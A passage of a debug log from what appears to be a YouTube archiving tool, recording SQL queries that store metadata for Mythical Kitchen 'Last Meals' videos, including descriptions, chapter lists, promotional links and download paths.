https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-C" <> ..., "Rebecca Black Eats Her Last Meal", "f193e10d-f96e-4448-930c-4b2ff82674a2", "https://www.youtube.com/watch?v=LhiJP_dO0cs", false, "LhiJP_dO0cs", 2652, false, 50, "/downloads/Last Meals/2025-01-14 Rebecca Black Eats Her Last Meal/Rebecca Black Eats Her Last Meal [LhiJP_dO0cs].mp4", false, false, 1, [], 1, ~U[2025-01-14 11:00:34Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Rebecca Black eats her last meal.\n\n(This interview was recorded before the LA fires took place)\nDue to the circumstances, Rebecca’s project, SALVATION will be delayed. The new release date is February 27, 2025. But in the meantime you can still enjoy some SUGAR WATER CYANIDE— out now wherever you listen to music!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Rebecca Black's Last Meal\n1:12 Have You Thought About Your Last Meal Before?\n1:34 How Often Do You Think About Death?\n2:09 1st Course\n3:37 A Modern Day Forrest Gump\n5:36 TRUST!\n7:18 Support From The Queer Community\n9:38 Lady Gaga Gets It\n12:42 2nd Course\n15:53 13-Year Old's Fears\n16:51 Looking Back On Friday\n20:36 Embracing Friday\n23:16 Skrillex, Don't Be Justin Bieber\n23:51 3rd Course\n25:18 An Alternate Universe Where Friday Didn't Exist\n28:00 Disassociation\n32:17 The Spirituality of Hyperpop\n33:57 4th Course\n35:39 Finding Joy & Flow State\n39:32 What Do You Think Happens When You Die?\n40:51 Lightning Round\n43:22 Rebecca's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste as (truncated) 20:49:32.317 [debug] QUERY OK source="sources" db=0.0ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.317 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 10:00:34Z], 1] 20:49:32.318 [debug] QUERY OK source="media_items" db=0.4ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today Hilary Duff eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Hilary's Last Meal\n0:20 Inventor of \"The Gross Food Game\"\n1:30 Have You Thought About Your Last Meal Before?\n2:17 1st Course\n3:20 Martini Horoscopes\n6:36 \"Grubby Kid From Texas\"\n9:05 What Is Your Relationship to Luck?\n10:45 Growing Up With Lizzie McGuire\n12:03 2nd Course\n12:30 Hilary's Ideal French Fry\n13:51 Making Music & Reading Comments\n17:19 A Deeply Personal (& Pop) Album\n19:32 Wanting Resolution In Relationships\n21:26 Sending Love to Your Younger Self\n23:05 3rd Course\n24:05 Chasing Paparazzi with a Wine Bottle\n27:28 The Lizzie McGuire Movie Boosted Rome Tourism\n31:45 Kids Working in the Industry\n34:40 The Forerunner of the Disney Channel Model\n37:07 4th Course\n39:11 Holding Family Close\n42:58 What Do You Think Happens When You Die?\n44:00 Lightning Round\n47:09 Hilary's Last Words\n47:28 THE GROSS FOOD GAME\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Hilary Duff Eats Her Last Meal", "a5e7c0e9-1b43-48b0-b097-b06cc60fae5d", "https://www.youtube.com/watch?v=KR_e1IY3S4k", false, "KR_e1IY3S4k", 3002, false, 51, "/downloads/Last Meals/2026-03-17 Hilary Duff Eats Her Last Meal/Hilary Duff Eats Her Last Meal [KR_e1IY3S4k].mp4", false, false, 1, [], 1, ~U[2026-03-17 10:00:34Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today Hilary Duff eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Hilary's Last Meal\n0:20 Inventor of \"The Gross Food Game\"\n1:30 Have You Thought About Your Last Meal Before?\n2:17 1st Course\n3:20 Martini Horoscopes\n6:36 \"Grubby Kid From Texas\"\n9:05 What Is Your Relationship to Luck?\n10:45 Growing Up With Lizzie McGuire\n12:03 2nd Course\n12:30 Hilary's Ideal French Fry\n13:51 Making Music & Reading Comments\n17:19 A Deeply Personal (& Pop) Album\n19:32 Wanting Resolution In Relationships\n21:26 Sending Love to Your Younger Self\n23:05 3rd Course\n24:05 Chasing Paparazzi with a Wine Bottle\n27:28 The Lizzie McGuire Movie Boosted Rome Tourism\n31:45 Kids Working in the Industry\n34:40 The Forerunner of the Disney Channel Model\n37:07 4th Course\n39:11 Holding Family Close\n42:58 What Do You Think Happens When You Die?\n44:00 Lightning Round\n47:09 Hilary's Last Words\n47:28 THE GROSS FOOD GAME\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Hilary Duff Eats Her Last Meal", "https://www.youtube.com/watch?v=KR_e1IY3S4k", "KR_e1IY3S4k", 3002, false, "/downloads/Last Meals/2026-03-17 Hilary Duff Eats Her Last Meal/Hilary Duff Eats Her Last Meal [KR_e1IY3S4k].mp4", false, 1, ~U[2026-03-17 10:00:34Z]] 20:49:32.318 [debug] QUERY OK source="sources" db=0.0ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.318 [debug] QUERY OK source="media_items" db=0.0ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-08 11:00:12Z], 1] 20:49:32.319 [debug] QUERY OK source="media_items" db=0.7ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Julian Edelman eats his last meal. \n\nTimestamps\n0:00 Julian's Last Meal Menu\n1:48 Have You Thought About Your Last Meal Before?\n2:30 How Often Do You Think About Death?\n3:15 1st Course - Bagels & Deviled Eggs\n4:38 Jewish Heritage\n6:24 How Many Deviled Eggs Could You Eat In 1 Sitting?\n7:14 David Vs. Goliath\n7:44 The Patriots Were The Villains\n8:21 Buffalo Bills Fans Get Creative\n10:03 2nd Course - Potstickers & Mission Style Burrito\n10:53 Biggest Game Moments\n12:19 Being Happily Miserable\n14:09 Training For The Impossible Catch\n16:44 Julian's Favorite Catch Of His Career\n18:55 Taking Big Hits\n20:30 3rd Course - French Dip, Smash Burger, & Fries\n21:48 When Tom Brady Calls\n23:11 Swifties In The Fandom\n24:00 Proper Burger Form\n24:45 Lessons From Bill Belichick\n26:26 CTE & The Dangers Of Football\n28:13 4th Course - Hot Fudge Sundae\n28:42 What Julian's Mouth Do\n29:23 Charging His Dad\n31:31 Different Kids Need Different Things\n31:58 Parenting Journey\n33:58 Who's The One Person You'd Want To Share Your Last Meal With?\n34:14 What Would Your Final Stat Have Been?\n34:41 What Song Do You Want Played At Your Funeral?\n34:47 What QB Would You Most Want To Play For?\n35:50 What Wide Receiver Would You Want To Man Up On?\n36:13 What's Your Greatest Regret?\n36:16 What Annoyed You About Tom Brady?\n36:55 Are You Happy?\n37:25 Julian's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-" <> ..., "Super Bowl MVP Julian Edelman Eats His Last Meal", "3b151f1e-25cb-4c6c-8db3-6798a8aff525", "https://www.youtube.com/watch?v=FpEhDtzfcBc", false, "FpEhDtzfcBc", 2300, false, 52, "/downloads/Last Meals/2024-02-08 Super Bowl MVP Julian Edelman Eats His Last Meal/Super Bowl MVP Julian Edelman Eats His Last Meal [FpEhDtzfcBc].mp4", false, false, 1, [], 1, ~U[2024-02-08 11:00:12Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Julian Edelman eats his last meal. \n\nTimestamps\n0:00 Julian's Last Meal Menu\n1:48 Have You Thought About Your Last Meal Before?\n2:30 How Often Do You Think About Death?\n3:15 1st Course - Bagels & Deviled Eggs\n4:38 Jewish Heritage\n6:24 How Many Deviled Eggs Could You Eat In 1 Sitting?\n7:14 David Vs. Goliath\n7:44 The Patriots Were The Villains\n8:21 Buffalo Bills Fans Get Creative\n10:03 2nd Course - Potstickers & Mission Style Burrito\n10:53 Biggest Game Moments\n12:19 Being Happily Miserable\n14:09 Training For The Impossible Catch\n16:44 Julian's Favorite Catch Of His Career\n18:55 Taking Big Hits\n20:30 3rd Course - French Dip, Smash Burger, & Fries\n21:48 When Tom Brady Calls\n23:11 Swifties In The Fandom\n24:00 Proper Burger Form\n24:45 Lessons From Bill Belichick\n26:26 CTE & The Dangers Of Football\n28:13 4th Course - Hot Fudge Sundae\n28:42 What Julian's Mouth Do\n29:23 Charging His Dad\n31:31 Different Kids Need Different Things\n31:58 Parenting Journey\n33:58 Who's The One Person You'd Want To Share Your Last Meal With?\n34:14 What Would Your Final Stat Have Been?\n34:41 What Song Do You Want Played At Your Funeral?\n34:47 What QB Would You Most Want To Play For?\n35:50 What Wide Receiver Would You Want To Man Up On?\n36:13 What's Your Greatest Regret?\n36:16 What Annoyed You About Tom Brady?\n36:55 Are You Happy?\n37:25 Julian's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythic (truncated) 20:49:32.319 [debug] QUERY OK source="sources" db=0.0ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.319 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-18 10:00:08Z], 1] 20:49:32.320 [debug] QUERY OK source="media_items" db=0.8ms idle=1.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking John Boyega's last meal.\n\nThis interview was filmed before the 2023 SAG-AFTRA strike.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\n0:00 John's Last Meal Menu\n0:34 Intro\n1:45 Thinking About Death\n3:05 1st Course - BBQ, Lamb Chop, Jollof Rice, & Shirley Temple\n3:36 Who Has the Best Jollof Rice?\n5:00 Do Humans Have Free Will?\n6:17 Preserving Cultural Food Traditions\n7:21 Taking Harrison Ford Out For Dinner \n9:45 Technology vs God\n11:03 Course 2 - Burger, Fries, Chicken & Waffles, Orange Chicken, & Juice\n11:47 John Boyega is a Juice Man\n13:23 How John Wants to Die\n13:55 Black Lives Matter Protest\n15:26 BoatmanThreatens John at Sea\n17:03 Opening Doors for Others\n18:57 Course 3 - Seafood Boil\n19:14 John's First Shrimp Head\n19:59 Date Night at The Juicy Crab\n21:11 Extra Spicy (Trinidad Scorpion Pepper)\n22:13 Thoughts on Religion\n23:40 They Cloned Tyrone\n24:39 Course 4 - Sweet Potato Pie, Red Velvet Cake, Golden Oreos, & Gummy Bears\n25:10 Eating Cake with Spike Lee\n26:15 Death of a Childhood Friend\n27:36 Fear of Being Called a Christian\n30:19 Lightning Round - Who Would You Share Your Last Meal With?\n30:53 What Song Do You Want Played at Your Funeral?\n31:53 What Accent Do You Want to Do in a Movie?\n32:20 Who Plays You in the Biopic About Your Life?\n32:54 What's Your Biggest Fear?\n33:57 What's Your Greatest Regret in Life?\n34:27 Are You Happy?\n35:01 John's Last Words\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM" <> ..., "John Boyega Eats His Last Meal", "811eebcc-8ca4-4a87-9dbf-11bf8da9e785", "https://www.youtube.com/watch?v=CLcXgr1Lymw", false, "CLcXgr1Lymw", 2153, false, 53, "/downloads/Last Meals/2023-07-18 John Boyega Eats His Last Meal/John Boyega Eats His Last Meal [CLcXgr1Lymw].mp4", false, false, 1, [], 1, ~U[2023-07-18 10:00:08Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking John Boyega's last meal.\n\nThis interview was filmed before the 2023 SAG-AFTRA strike.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: 